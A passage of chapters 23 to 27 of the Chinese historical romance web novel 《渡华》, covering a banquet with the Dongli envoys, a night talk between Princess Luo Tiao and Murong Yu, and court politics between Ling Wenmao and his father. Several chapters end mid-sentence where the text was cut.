史吉心中还在联想阁外廊道上的人,一时也不忍打破似乎已经渐入佳境的凌文袤,先转身离开,还未走出两步,听见声响。 “只可惜呀,大王子不知我凌宪的喜好,挑的美人不怎么合胃口。”凌文袤声色懒懒叫住史吉,“史吉执事,来都来了,这酒咱们不能不喝。” 史吉回首时,只见美人已被晾在一旁。 慕容余立马起哄:“史吉执事,这就是你的不对了。”起身指向对面,勾勾手,赶紧让那边的美人把史吉的酒盏呈过来。 旁边亦有好事者跟着起哄,似乎是无意:“史吉执事要罚双倍才行,我瞧啊,我们凌统领的胃口甚是刁钻,合胃口的哪会是等闲美人。” 今日御苑场景早已传开,凌文袤直接将长公主骆苕从御前领走,众人皆在猜想,才入京当了几日玄雀卫统领的凌文袤,与落发为尼没几日的长公主又有什么渊源。 酒兴上头,好些人也趁机奉承上几句不疼不痒的,赞凌文袤仪表瑰雄,风神秀杰,堪配的美人定会是钟灵毓秀的美人,往话题里面增加点闲趣。 史吉心里有事,一直在想骆苕是如何来的?来的目的是什么?大庭广众之下是来找他们的?有无外人发现?他暂时无法与契勒交谈,疑问闷在心中,像一团迷雾似的。 他接过酒盏,只说,“一定是凌统领心里已经藏着人。”说完直饮两杯,趁机再多灌些酒给凌文袤,也不想再逗留,直接回座。 契勒察觉异样 23. 第二十三章 《渡华》全本免费阅读 细风和缓地吹进轩窗,骆苕后腰倚着轩窗下缘拂袖驱赶蚊虫,眼风捕捉到有人从“纵”阁里出来,一抬眼,全身震了震,不由挺了挺脊背。 来人神情冷峻行如罗刹,直冲她而来,明明嫌时间过得太慢,此时却陡然生出急促的紧迫感。 凌文袤带着一身滚烫热浪,如一座大山似的扑面而来,占据了整个轩窗。骆苕向窗子正中慢慢靠过去一些,挡在他身前,将好半个身的错位。 她是看窗小厮,以免贵客栽出窗外。 凌文袤双臂叉在胯上,朝窗外大口吐着热气,睇眼看着她的颅顶。 酒气难纾,他全身有些堵,心口尤其重,这个时候她竟敢还往他身上贴。 凌文袤狠狠地收了眼,将视线投去轩窗外。 一呼一吸间他的臂膀都会擦上骆苕的额角,到底是锦衣,质地不如罗裳柔软,触及脸颊过于生硬。 骆苕的臀背、脚跟已经贴紧墙壁,只能把上半身子,往后倾斜一点点,探出轩窗,避开脸颊的剐蹭。 凌文袤的体温被烧得滚汤,热浪无处逃窜,直冲骆苕的半副身躯。直觉让她避让,理智却呼唤她镇定,接受它。 两人就那样安静地挨着。 除却浓重的酒气,从凌文袤身上传来的气味并不难闻,大约是沐浴过后,玉兰皂膏留下的香气。 还能听见胸腔内在噗通噗通狂跳,强劲有力。 看不到脸,只有骆苕方帽的帽檐时不时地蹭着他的下脸颊,骆苕有那么一刹,想仰脸看看他,最后她转了个身,把自己的身体借给他靠。 凌文袤也毫不客气,展臂搭上她的肩膀,刚搭上又想换个姿势,该搂一搂她的腰才是。 口中的热气与迎面而来的凉气交错吞吐,莫名的燥热迫使他再拉一把衣襟。 窗外是一径花间小道,月光下草木艾艾,燥人的虫鸣不绝于耳。 脑中一半清醒一半浑浊,鼻尖嗅着凉风,也嗅着另外一种若有似无的清香,他还不想说话,可喉结已经滚动得有些厉害,又有些渴,被风一吹,更加干涩。 他伸手抓过她的手臂往自己腰上搂,等她生硬地放稳这才满意。 总要搂一搂的,换作是谁搂谁都一样。 刚才搭她肩膀的样子他很不满意,像兄弟。 不能再多呆,只怕脑中的那一半浑浊会占据上风。 他说:“喝多了,今晚不便陪你,改日……去你府上。” 方才东刕美人引出了他的私欲,催使他来廊道尽头。 如果没有东刕美人这回事,他可以散宴后带她夜行京都城,还可以登一登永昌塔。现在满脑子的浑念头,他直接放弃先前的想法,决定将自己溺死在酒里。 骆苕只是平和地嗯了一声。 凌文袤被这一句乖顺的嗯激得心烦意乱,竖眉冷问:“适才阁内的谈话,你可听见了?” 她怎么什么都不在乎? 醉仙馆的美人不在乎。 阁内的东刕美人也不在乎。 让她看窗就看窗,从前长公主的执拗在今晚无影无踪。 骆苕在他肩侧摇了摇头。 凌文袤心气瞬间冲脑,左右不是,她连听都懒得听。 唇面越发干燥,不安分的却还是咽喉,再一滚,开口相问:“明日几时?”短短几字,嗓子仿佛被微风割裂了似的,粗犷沙哑,说完又生吞了一口干涸的唾液。 骆苕回神。 “辰时。” 她的声线也有些发虚,明显抖了一下。 凌文袤将头偏向她的那一侧:“抬头我看看。” 骆苕察觉不是好事,没有抬头,哪知,他伸手直接挑起她的下巴,拇指指腹贴着肌肤,轻轻滑过一道。 见她没躲,他唇角划起弧度。 这样的姿势非常好,把人禁锢在胸膛臂弯,插翅难逃。这样的光线同样非常好,晦暗不明,不用作它想,只要一俯身,只要一俯身,天崩地裂又有何妨。 “今日的你,最丑。” 凌文袤的天地未能崩塌,还一如既往讨嫌。 说完还不忘顺势把两颗葡萄,塞进骆苕的唇腔。 他放开骆苕,转身大步流星而去。 骆苕脊背僵直,手臂还悬在大袖之中,木讷地咀嚼两下咽了下去,咽下之后,才想起原本可以吐掉的,明显这两颗葡萄在酒里面浸泡过。 她又从窗外吸进一大口凉气,定一定心神,转回身去,抬眼望向已经掠过大半重门的凌文袤。 廊道深长,从两阁内流出的霍亮灯光,打在他的松绿云纹锦袍上,流光溢彩。一步一行间,光影汇错,如真似幻,直到他消失在廊道尽头,骆苕才垂下头,恢复寻常。 她的白言霈,同样光彩溢目,不只在于仪表,不仅限于仪表。长身玉立的那个人,在她眼里如春日山林,悠远宁静,而她,是林间向往溪水的小鹿…… 骆苕掐灭燃起的遐想。她不该在此时,把她的白言霈跟凌文袤相比。 这庆远楼来了也便来了,只当是她为了落拓不羁的凌文袤而来。 新鲜的事和人永远最吸引人。 阁内还在推杯换盏,廊道内小厮、舞伎穿行,在那尽头,凌文袤再次出现,二人遥遥相望,有那么一瞬的错觉,所有的光影都在为二人效劳,柔情且催情。 他的酒没喝完,迈开矫健的步伐,拐进“纵”阁,消失在廊道。 渐渐,骆苕只觉身子开始发凉,不知过了多久,登高吹风的女宾“轰”地一声蜂拥而至,两阁瞬间充盈,声色俱全。 不知又过了多久,慢慢平息下来,只余阁内零星几声,畅饮后的怒吼。 他们该散宴了。 贺兰融携着李印仪从“横”阁出来,骆苕深躬项背,头低得再深一些。 夫妇二人同时跨入“纵”阁,贺兰融将手一拱:“诸位,我随夫人先行回府,还请你们招待好东刕的贵客。”说完朝史吉和契勒再一拱,“二位执事,楼外车马已经备妥,稍后请自便。” 李印仪应和:“二位执事,告辞。” 礼数已到,也不再多讲那一些虚话,史吉和契勒二人礼节性地鞠礼,与人作别。他们二人也已经醉去七八分,为了了结后续,已尽量克制。 宴上的男人们,大多横七竖八地趴伏着,只有慕容余还算清醒,见女宾陆续离场,连贺兰融都弃他们不顾,慕容余招呼门外的守卫进来,安排善后,他望向一旁趴伏着的凌文袤,直皱眉。 醉酒的人比死人都难伺候。 等人被安排的差不多时,慕容余推推凌文袤,只见凌文袤蠕动身体,强撑起眼睛,朝他含糊不清呓语:“别忘了……忘……把我的美人给我……给我带回去。” “知道,知道。”慕容余一脸嫌弃的苦相,廊道内的骆苕自然不会落下。慕容余又想了想,于是招呼二位东刕美人,决定带她们一起走。 倒也稀奇,东刕人这次竟然改邪归正,把大嵘送给他们的美人全部留了下来,一个都没收,还倒送了两个。 今晚酒宴单独送了凌文袤两位绝色,也不知是加木暗嘲凌文袤骑射不佳,还是另有所指。 “二位执事,你们先行。” 临了,慕容余见史吉和契勒还在踟蹰,不免提醒。 那二人没有滞留的理由,于是先行一步,后脚慕容余便架着凌文袤跟在身后,史吉没敢回头看一眼廊道尽头。 史吉决定先回驿站,一路把事情经过好好梳理一遍,再向加木禀明。 庆远楼外,东主和主事的一排站立,谢礼恭送。 见慕容余几乎是扛着将凌文袤架着出来,不知从哪个犄角旮旯,赤眉和一青赶忙上前接过凌文袤,一左一右仔细地架往马车。 这二人是凌文袤的贴身随从,旁的一概不管,只负责郎主的安危。在京都城,凌 24. 第二十四章 《渡华》全本免费阅读 痛快地喜欢一场。 这句话大约是慕容余束发之后,说过最大胆的话,劝一国公主抛弃礼数,只讨一场欢喜。 骆苕脸上乔装后的灰粉还未擦去,似一副厚重面具紧紧地裹在面皮之上,沉浸在烛光里,不辨雌雄。 雅间内不安的气息流转在周遭,静得有些压抑。 骆苕突然掀眸看向慕容余,她说:“阿姊,喜欢的。” 言语十分平静,如一湖镜水,没有一丝波澜。 慕容余倏地抬头,烛光下的双目炯炯有神,“真的!?” 骆苕对慕容余颔首,撇开脸,拿案上的素铜簪挑了火捻子。 慕容余由惊诧转为暗喜:“喜欢就好。”他挠挠头,怪不好意思,“倒显得小弟,多此一举了。” 骆苕莞尔,转了话锋玩笑道:“你怎么肯这么痛快地喊我阿姊了?小时候,只有阿姊掐着你的脖子,按住你的脑袋逼着你叫,你才肯叫上一声,要不总没大没小,喂,喂,喂地喊。” 慕容余小时候是养在宫里的。 皇太子骆奂出生后不久,慕容余便被作为伴读送进宫中,从还未记事起,他和骆奂还有骆苕都玩在一处,在副都竼城乃至京都,好长一段时间里,他们三个小孩的嬉笑怒骂,充斥着皇宫。 皇太子骆奂最小,也不过才小那么一岁,骆苕和慕容余同岁,只是月份不同,慕容余比骆苕小两个月,为了这两个月,二人总是大打出手。 骆苕仗着大两个月,理直气壮地让慕容余叫她阿姊,慕容余不从,凭借自己个头比骆苕高,要骆苕喊他阿兄才是,就这样也就追打了起来。 宫中自有师姆教导过礼数,必须谨记尊卑长幼有序。只是那时的皇后慕容瑾,不在意宫中规矩,面上敷衍过去也便罢了,私底下放任三个小孩玩闹。 再后来,骆奂因病夭亡,慕容余就此离宫。 慕容余脸颊有些难受,仰起头,将偌大的雅间盘桓了很久,最后视线停留在碧漆描绘的繁顶上。 许多的意难平涌上心头,他应该有好多好多的话对骆苕讲,但全部被关在了心房,挤得满满当当,并且上了一把厚重的锁。 他垂下头,狠狠吸了一鼻子,若无其事狡辩:“那不是,小时候不懂事嘛,阿姊下手还不是没个轻重,次次撵我上屋顶、树杈,还凶得那么厉害。” 骆苕脸上的笑很浅,淡淡地说:“是你皮痒,讨打。” 那时的慕容余确实皮痒。那个年纪的小男孩总是有使不完的精气神,到处忽惊忽乍捉弄人,可爱又讨人嫌。 慕容余承认似的点点头,笑了笑:“少时不懂,每逢新年除岁,大人们为何会有那么多的祝词。每次轮到我向你敬祝词,总改祝词,不是祝你变丑,就是祝你不长个儿,结果被你揪着耳朵重新说,我呢,只有愤愤地把祝词再敬你一遍,才让你放过我。” “确实皮痒欠揍。”慕容余再一次狠狠点头,自我肯定。 骆苕面上还挂着笑,只是“嗯”了一下,对他说:“你该走了。” 慕容余愣了愣,起身看向骆苕,骆苕侧着脸并没有看他,提醒:“去罢。” “阿姊。”慕容余眸中凝结起难以言表的祈望,顿了顿,道,“余,愿你每日开怀。凌文袤……为人不错。” 转身去时,听见骆苕轻轻地对他说,“阿姊祝你,喜乐顺遂。” 她没有回应慕容余后半句。 雅间重归于静,骆苕再次拿起素铜簪,一遍一遍挑着火捻子,火焰跳得厉害,火光跃进眸中灼人心魂。 她将火捻子用素铜簪摁进烛油,灭了。黑暗中,扯下方帽,合衣蜷缩进靠榻。 少时的慕容余曾学着大人的模样祝骆苕,福禄双全,儿孙满堂。而骆苕则祝慕容余,蟾宫折桂,大展宏图。 适才的骆苕和慕容余,都心照不宣地捡了个寻常的祝词。骆苕想,祝词大抵都是不能如愿的吧,所有人都祝骆奂安康,可她的弟弟,未及束发之年…… 坊外的更声由远及近,离离索索,再慢慢远去,骆苕翻了个身。 ** 长街萧肃,马蹄声蹬蹬铛铛,一路驶向驿站。 马车内,契勒撩开帐帘朝外看去,送他们回驿站的护卫在前执着烛炬,马夫坐在架前不紧不慢地挥舞马鞭。 再过一刻钟便能抵达驿馆。 契勒放下帐帘,依着漏进来的光推了一把魂不守舍的史吉。 “醉了?” 史吉向契勒勾手,等契勒把脸靠近。 “刚才在庆远楼,我看到宁华长公主,她还向我……”史吉手掌挡在嘴侧轻轻说完,做了个掌心叩胸的动作。 契勒起先不明其意,待领会后一惊,事情如大王子所料,宁华长公主会有所求,冰冷的脸颊慢慢舒缓,眼中闪过警惕:“回去再说。” 驿馆内,史吉把今日在庆远楼所见的事情,向加木一五一十全部道出,生怕哪里出了纰漏,还让契勒帮着一同回顾,最后二人猜定,是慕容余带骆苕混进庆远楼。 一直听二人絮絮说完,加木陷入片刻沉思。 慕容烈嫡九孙慕容余,在族中微不足道。凌晖嫡子凌文袤碍于世子凌承佐在前,在族中地位最为玄妙。慕容余和凌文袤这二人私交甚好。而大势将去的宁华长公主骆苕,尊贵身份难以维系,日后若想永葆富贵,定要择一处高枝。 倘若这三人已经勾结在一起,倒也是件喜事,至于他们将来如何勾结,加木并不想再深入地去猜测,有时过于依赖猜测反倒陷入自己的臆想。 凌文袤此人不善,难以把控,目前,只要确定宁华长公主对东刕有所求,这便足够。 “瞧你们二人的模样,想必这酒喝得并不痛快。”加木抬眼看一看两位面色僵硬的属下,平心笑了笑,“凌文袤可有收下美人?” “收下了。” 史吉和契勒异口同声。 二人方才一直在琢磨骆苕的事,竟一时忽略了酒醉的凌文袤,二人又把凌文袤今夜酒宴醉酒的过程仔细再说一道。 末了,契勒迟疑道:“依属下所见……除去慕容余,这凌文袤好像并不受这帮人待见。”又想起今早击鞠赛的场景,“他们这帮人,对贺兰融倒是挺敬佩。” 加木颔首,背过身去,望着香炉袅袅抽出青烟,狭眸微眯:“嫌弃美人又把美人收下,还把自己灌成一滩烂泥,最后不能人事,这凌文袤和宁华长公主倒有种说不清道不明的关系。” 像凌文袤在向骆苕展示男人的忠诚。 加木再次回想今日御苑情景,骆苕面对凌文袤一脸清冷,凌文袤使出浑身解数孔雀开屏,有几分求而不得的意味。 “大王子,接下来该当如何?宁华长公主那,该如何接应?”史吉心意烦乱,冷不丁问得也心烦意乱。 加木这次直接一个冷眼睨了过去:“你这急躁的毛病,何时能改?旁人有求于你,你比旁人还要焦躁,是何缘故?” 加木的连连反问,是对史吉今日容忍的最大限度,同样的错一犯再犯。他更在意的是自己的手下,他手中的可用之才寥寥无几。 加木曾教导,天下大势,不可能一蹴而就,就像大漠的寒冰铁马,永远踏不平山川湖海,只有令人敬仰的意志和令人畏惧的 25. 第二十五章 《渡华》全本免费阅读 夏日总是格外眷顾土地,天还未亮,暗蒙蒙的一片,窗外枝头的鸟雀就已经叽叽喳喳叫个不停。 昨夜入了春官府的凌文袤,此时还在慕容余的宅院上客堂内睡着。 十指开始微微动弹寻回知觉,而后脑袋慢慢清醒,鼻子痒,呼吸不畅,抬臂自发性地往脑袋上按。 察觉光线不对,蓦然惊醒,扯下覆在头上的酥酥痒痒的东西,弹坐而起。定睛一看,只见慕容余支着脑袋侧躺在外侧,正笑盈盈,不怀好意地盯着他。 凌文袤一把把手中的女子罗裳甩在慕容余头上,直皱眉。 慕容余不紧不慢拽掉头上的罗裳,一脸气定神闲:“老规矩,你睡觉,我放哨,昨夜我守了你一夜。” 慕容余嘴里说着假话,手中勾着罗裳在打转。 他昨夜确实同凌文袤睡在一屋,只是他睡在榻上,凌文袤睡在床上,凌文袤醉后有一个长处,就是只会睡觉,胡话不说一句,酒疯不耍一场。慕容余回来后,沾榻便睡着了,哪里来的守了一夜,只是醒得早而已。 放哨是二人在战场非常情况下约定好的,一人睡觉一人必须放哨,昨夜的酒宴也算是另外一个战场。 “什么时辰?” 屋里燃着烛灯,凌文袤听见窗外的雀鸟叫声,还是问了一句。 嗓子干痒难受,活像只被掐住脖子晨啼的公鸡。 慕容余没憋住“噗”地一声笑了出来。 “我去给你倒杯水。”起身翻下床,“寅时刚过,该卯时了。真没想到你这么狠,真把自己往死里灌,酒鬼都架不住你这么灌的。” 凌文袤动作利落地翻下床,越过慕容余自己去倒水喝,润过嗓子后才道:“我该走了。” “急什么,这么着急回府听训?” 慕容余抓过一旁榆木架上的锦袍,甩在肩头不想放行,“我让厨堂给你煨了暖胃的羹汤,吃了再走。” 凌文袤睨他一眼,直接躺回床上。 “有话要说?” “有,多着呢。”慕容余把锦袍甩回榆木,“你想听哪个?长公主?长公主这个时辰应当回去了,昨夜她宿在乐坊,一会儿玄雀卫就要来人回话了。她,平平安安。” 凌文袤理了理中衣的前襟,云淡风轻:“一心想着回府听训的事,竟把她给忘了,一会儿还得去趟公主府,早知就让我一道送她回去。” 慕容余抱胸摇着头,若有所思,“凌宪……”突然又停住,“算了,你们……” 该怎么相问呢?想了许久竟找不到相宜的措辞去问。 “我和长公主的事,我们自己心里有数。”凌文袤双臂一伸,长长地伸了个懒腰,“你别多想。” 慕容余怔怔地,一面是过命的兄弟,一面是最熟悉的阿姊,有时候人跟人的情谊并不讲究先来后到,他只希望大家都好好的。 昨夜冒失地同骆苕试探性地提了那一嘴,痛快地让她喜欢一场,结果骆苕是给了回答,可慕容余听不出一丝喜悦,骆苕冷静得让人可怕。 为何要试探,只因,夷白明绪六族,凌氏也曾参与其中,这么多年已经过去,这道坎慕容余希望骆苕跨过去。 就这么简单。 凌文袤抓起罗裳,直劈慕容余的脸门。 慕容余身子一侧,从空中捞住罗裳,恢复往昔:“说要把你按在东刕美人的裙裳下,昨夜我特地让美人脱了送来的。” “求之不得的滋味,如何?” 慕容余眉眼得意地向凌文袤挑去。 闻言,凌文袤眉头倏地绞在了一块,“身上脱下来的?!慕容无双,你是有什么毛病?”声色沾上一股冷冽之气,觑一眼罗裳,一脸不可置信。 “看把你吓的。”慕容余耸耸肩意犹未尽,却也如实道出,“这是新的,让婢女连夜缝制的,你看看那针脚,粗得不像话。不过是一块布,一会儿拿去烧了,省得你糟心。况且昨日那两个美人身上穿的是什么,你又不是没瞧见。装什么装。” 怕再迟一些解释,凌文袤能把他给活剥了。 又施施然道,“昨晚,宴上你让我把两位东刕美人给你带回来,现在还关在西堂,你看该如何处置?要送她们去凌府吗?” 凌文袤狐疑着下了床榻,从榆木架上拽过锦衣穿上身:“是我让你把她们带回来的?” “是你特意交代,我才敢往回带。” 凌文袤利索地系着系带,想了想道: “年前不是下令,还奴归田么。我看……直接送去地官府大司徒那,登记造册,分几亩桑田,先让她们种桑养蚕去,东刕来的美人,总要给加木些面子,可不能怠慢。” 说话间已经穿好衣袍,扣好帯銙。 “这主意倒是不错,规训规训还是能成事的。”慕容余点头赞同,笑着问,“一看那两位东刕美人就是专门伺候男人的,昨晚你倒是厉害,前胸一个后背一个,怎就坐怀不乱?” 正在整理衣袍的凌文袤轻轻呵了一声,似嘲讽。想起昨夜还记得的那些场景,有种神农尝百草的错觉,只是那一株,断人性命的断肠草不敢尝而已。 见凌文袤神色游离,默不作声,慕容余神秘兮兮地问:“凌宪,你老实交代……”凌文袤骤然抬眼冷呛回去,“跟你需要交代什么?” 慕容余双臂抱胸,厚着脸皮慢慢问:“酒宴上,面对美人,看你一副游刃有余的潇洒模样,你就真的没有脑袋上头,身体犯浑的时候?” 真不是一个好问题。 凌文袤斜去一眼,定了一瞬,笑:“这你得去问长公主。” 慕容余瞬间抓狂,拍拍脑门,五官皱在了一起,满脸悔不该问的模样,明明纯粹只是兄弟间的一个好奇问题,怎就牵扯进骆苕,一连吐了五个“呸”,怪自己多嘴。 “我先走了。”凌文袤胡乱拢好发髻,皂纱一裹,玉簪横贯其中,手没停歇,步子已经迈开。 “羹汤呢?”慕容余追问。 “不吃了。” 凌文袤说不吃的时候,羹汤已经送过来,还滚热的。 “吃了再走。”慕容余建议。 凌文袤没说话,坐去外间软榻。 趁着羹汤放凉的间隙,慕容余手中捏着汤勺,不自觉地搅动着自己手中的羹汤:“凌宪,你说,这次东刕结盟,能维系多久?” 凌文袤原本澈亮的双眸,慢慢蒙上一层阴鸷,眼睫半垂挡去神思,抬眼掀睫时阴鸷消散不见。 “不好说,就看两万匹骏马的交情能维系多久。” 慕容余将汤勺一搁,笃然道:“他们一贯趁火打劫,光吃不吐,吃亏的买卖肯定不 26. 第二十六章 《渡华》全本免费阅读 凌文袤回凌府之后,换了身衣袍直接在恒锦堂等凌晖。 天官府政务忙,等到收尾结束,凌晖才随通禀的赤眉前往恒锦堂。 昨日御苑之后,父子二人便没碰过面,各忙各的。 “父亲。”凌文袤还如往常那样敬唤。 “唔,听说你找我?”凌晖倒是和煦,似把昨日御苑的不愉快已经忘却干净。 “是。”凌文袤开门见山,“父亲可否遣人对东刕大王子加木探查一番,特别是他的先生,姓甚名谁,来自何方,越仔细越好。加木此人城府深,像一位深谋远虑的谋士,而言行举止颇有几分儒雅,若非从小耳濡目染,定不会有此品行。” 凌晖双臂负向身后,点了点头,开始踱步:“今早,父亲已经遣人,去召集往年去往东刕的使臣,既你问起,此事就全权交于你负责,若还不够仔细,再使几个探子,定会有我们的想要的答案。此次结盟,非比寻常,还是小心为妙。” 今日父子二人,思想竟难得的在同一步调之上,凌晖略显宽慰,遂问:“依你之见,此次结盟,北境太平日子能维系多久?” 能维系多久,还是同样的问题,大家似乎异常关注此次结盟能维系多久。 凌文袤眉梢轻抬:“回父亲,儿子不知此次结盟能使北境太平日子维系多久,东刕反复无常,想维系多久并不在我们,而在他们。儿子只希望此次结盟能维系久一些。” 凌晖破天荒的又听见了一句舒坦话,倒问:“希望维系久一些,可不像你喊打喊杀的莽撞性子,不嚷嚷着去湧州了?” “去的,”凌文袤皱了皱鼻子,一点也没有迟疑,“不过要等四兄长先回京都。” 闻言,凌晖心下暗了暗。 多次去信,还派人去傕州传凌承佐回京,凌承佐总说还有要事处理,等回京都后再一同向凌晖一一道明,凌晖选择相信凌承佐,在京都整整等了三年,是有些心焦。 默了一瞬,凌晖绕开凌承佐,接上方才耽搁的话题:“你为何希望,此次结盟能维系久一些?” 凌文袤抬眼看向凌晖,认真且坚定:“如今大嵘不仅国库空虚,贤才更为缺匮,兵戎方歇,父亲便已着手整顿国子学,选拔堪用之才。如若结盟能长久一些,大嵘得以稍稍喘息,就不怕他东刕来日翻脸。” 凌晖依旧负着双臂,面色如常似在深思,袖内的手掌不由握了握。昨日听慕容霆彦夸赞,今日便又给了个惊喜。 他的儿子很聪慧,应当高兴的,可同样夸赞的话,凌晖却生疏到说不出口。 凌文袤一副唯命是从,又玩世不恭的样子,表现得表里不一,与凌晖心内的矛盾如出一辙。今日凌文袤开诚布公的这次叙话,让凌晖发觉,或许是他老了,想的越来越多,行的越来越谨慎。 放任儿子们驰骋沙场,为何独独放不下,对凌文袤这位嫡子的戒备。 脑中织了一张网,网住了政局的脉络,同样网住的还有一些旁的。 凌晖须髯微微颤了颤,似乎在笑,平和舒缓,将眼尾勾勒出几道不深不浅的纹路。 “为父整顿国子学,是给士族们的一个交代。大嵘官职多有空缺,而有些人又身兼数职,官职失衡,弊端尽显,长此以往,于国不利,这是父亲的失职。国子学疏弃多年,本该早些整顿,士族们一直盯着我们凌氏,那我们就一步一步做给他们看。” “两国结盟,唯利益至上。东刕若觉得亏损,背弃盟约只在旦夕之间,此次东刕请求联姻,是因东刕八部出现纷争,死伤过甚,听闻是加木平息了内斗,但他以下聘的方式迎娶安乐公主,确实耐人寻味,他既舍,必想有得。也许会如你愿,此次结盟能长久一些。暂且先随他,以不变应万变。” 凌晖娓娓道叙,落进凌文袤耳中,竟听出了几分慈父气息,只见凌晖越发轻描淡写,“大嵘不缺贤才,只是他们困于乱世,将一腔热血献给了清谈,从里头挑拣挑拣,总能挑到几个趁手的干才。不论庶族还是士族,父亲唯才是用。” 凌文袤心神一凝,竟想到了伏旼。 颜资善出任国子祭酒,可伏旼却没有追随恩师颜资善,如今不知躲在哪个犄角旮旯郁郁寡欢。 察觉凌晖停歇了,凌文袤才道:“儿子受教了。” 凌晖扫了一眼规矩的凌文袤,问:“既已受教,可对选拔贤才有何见解?” 凌文袤只说:“儿子佩服父亲说的唯才是用,不论出身。” “你倒夸起为父来了。”凌晖干干笑了两声,“坊间一直流传,寒门无上品,士族无下品,寒门学子想要入仕升迁,登峰造极,简直比登天都难。前有察举、征辟,最后都不得法,这下品的堪用之才,如何才能落在我们手中,立稳脚跟呢?” 在京中为官的士族,背后几乎全部都是世家大族,经察举而来,才能、品性被吹得天花乱坠,实则大多不堪重任。 “除弊革新。” 凌文袤粗粗几字,让凌晖为之一动,穷则思变,变则通,但现下迫于局势还不敢轻举妄动。 “先不论如何革新,如今我们靠着士族门阀吃饭,却要砸他们的饭碗,这饭吃不好,说不定连我们都将成为他们网中鱼,被一网打尽。”凌晖说,“此事还得从长计议。” 父子二人皆沉默。 凌氏原本就是依托世家门阀的支持,才跻身高位,转身一跃,龙坐还没坐上,竟已开始设法对付士族,倒也是一种无力的讽刺。 而世家门阀犹如天上的皎月,满则亏,亏复满,周而复始,绵绵不绝。孝玄帝夷白明绪六族,不过才四年之久,这又有了抬头之势。 “父亲。” 凌文袤原本不想提心中的建议,只想等凌承佐回京后再做打算,面对今日的凌晖,他觉得自己该说一说,“儿子行事并无章法,思虑不周全,只是粗略的一点见解,或许实用,适用当下。” 凌晖会心,停了脚步:“说来听听,你父亲我,最喜欢实用的。” “先用那些不怕死的寒门学子,打开一道清理陈年积弊的口子。”凌文袤也不再拘泥,话匣子暂时打开,全盘托出,中途还因口燥讨了一盏清水润嗓,说完问凌晖,“父亲觉得如何?” 凌晖捋须,略有僵持,侧目定在凌文袤脸上:“这是否过于冒进?” 凌文袤眉心一跳,“法度废弛,难以兴民。” 他知自己的点子确实冒进,粗略。可有凌晖会将事情润色,最后裁决。 凌晖极力控制脸颊,心中却泛起一股不明缘由的酸涩和澎湃。 少年人点子多,点子歪,总归有歪打正着的时候,一如年轻时候的自己,领兵打仗,处处冒出不合常理的歪点子,也是取胜的关键。 “袤儿。” 听见这一称呼凌文袤明显一怔,听见凌晖问:“这些想法 27. 第二十七章 《渡华》全本免费阅读 碧空如洗,京都城因东刕大王子亲自接亲的缘故,戒备较往日警严许多,行人也带着少有的肃穆。 两骑黑骏,护在一骑枣红骜骏左右,八面威风地席卷宽广长街。凌文袤今日穿常服,赤眉和一青才有幸贴身跟随在侧。 飞驰出光兴门,抵达宁华公主府。 凌文袤翻身下马,将手中的马鞭一扬:“你们把马牵去那面。”指了指桥对岸,“自己去林中乘凉去。” 一青从空中捞下马鞭,赤眉躬身毕恭毕敬:“是,郎主。” 单檐庑殿式的公主府,檐下大门和廊墙入眼异常奇怪,很厚重,就连石阶两侧,盘踞着的魁伟石墩,瞧着也十分怪异,像屋脊上的鸱尾,可又显现出猛兽的雏形,头像麒麟尾似鱼。 大约是糅杂了江南的某些样式。 凌文袤踩上石阶,击打铜挂。 阍侍大娘一见凌文袤,赶紧把人放进去,估摸了一下时辰,这凌统领把时辰掐的刚刚好,辰时将要过去了。 平平早已在廊下等着迎人,今日换了厅堂,不在原来的偏厅,选的地方要隐蔽许多,她领着人穿过外堂,去到里间。 凌文袤环顾里间四周,空无一物,只有一张硬榻和一方案牍。 平平微微汗颜,恭敬着说:“凌统领,长公主吩咐俾子,要俾子转告您,在这不要闹出响动,或许……或许要待很久。” 这哪是吩咐,明明就是囚禁。 凌文袤瞥一眼讷讷不安的平平,坐向硬榻,一言不发。 平平正欲退去。 “茶水、果点呢?”凌文袤两指叩着案角问。已经半日未进食,此时倒有些饿了。 平平稍一怔愣,忙说:“俾子……俾子去请示长公主。” 凌文袤心下冷哼,这也要请示。外堂定是有故人要叙话,才关他在里间相听,何必这样谨慎,他凌文袤吃食也不砸吧嘴,哪来那么多响动。 他声色如常“唔”了一声。 好大一会儿,平平才送来食水,默默放下,站了一会儿,见凌文袤没再吩咐,便退了出去。 凌文袤清楚的听到,“咔嚓”一声落了锁。 ** 骆苕站在府门前,僧袍衣袖内的砗磲珠串,被摩挲得几近分崩,掌心冒出的汗液,沾上珠串黏腻不堪。 申怡捏着帕子,伸手想要拭去骆苕脸颊的汗,不料惊醒了骆苕。二人目光交汇,骆苕才松懈下来,拿过帕子自己擦汗。 申怡移开眼,只是轻轻地说:“若长公主口渴,使女去倒盏水来。” 骆苕一早便屏退了仆俾,将她们赶去了东面长廊尽头的凉亭下,连阍侍都未曾留下,只有申怡一人跟在身侧。 “不渴。”骆苕仰首,视线贴着门檐望向天际,“一会儿他们该到了。” 过去一刻钟,远处马车声慢慢逼近,骆苕眸色松了松,正正相迎。 神鹰卫护卫翻身下马,抱拳拱手:“长公主。” 骆苕视线越过护卫看向马车,只见马夫跳下,摆好踩凳,厢内的青苒一手撩起竹丝帘,一手微微牵起裙身下来马车。 “长公主万安。”青苒上前郑重施礼。 骆苕只说:“进来吧。”又吩咐神鹰卫侍卫,“府内不便招待,你们自便,一会儿再来接人。”进门后,申怡将沉重的大门阖上。 “你也退下。”骆苕吩咐申怡。 申怡心中一紧,抬眸看骆苕,再看一眼青苒,垂眸,慢慢退后两步,转身离去。 门内的二人就那样静静地站着,半晌无人开口,一素一艳的两袭衣裳,落在对方眼中徒添悲凄。 骆苕小心翼翼深嗅一息,默默转了脚跟朝里走去。听不见声响,回身只见青苒,正昂头流连琼宇的雕梁画栋。 青苒低髻侧挽,一缕青丝在顾盼生辉的眉眼之下,轻轻荡漾,洁润的樱唇紧抿,唇线微微颤抖,执拗地想要挽留下坠的唇角。 骆苕心间跟着颤了颤,青苒认真昂首的模样,让她仿佛看到了白言霈。 白言霈督造公主府时,固执又认真,生怕会将细枝末节遗漏,时不时会呆立在公主府的某一处,昂着头,一动不动,一如此时的青苒。 骆苕最后将视线定在了青苒的脸颊上,那道疤痕蜿蜒而下,真实可怖。 青苒细细打量,入眼的景物饶是不够真切,就像她再如何用心,总也忆不起父母、兄长的五官,每逢入梦,都是他们的模糊背影,飘飘渺渺,她伸手去抓,去追,最后总是够不到,留不住。 她忍不住疑惑,即便是骨肉至亲,难道也会经不住岁月的蹉跎,最后把他们忘却?可她这么多年,心里余下的只有他们。 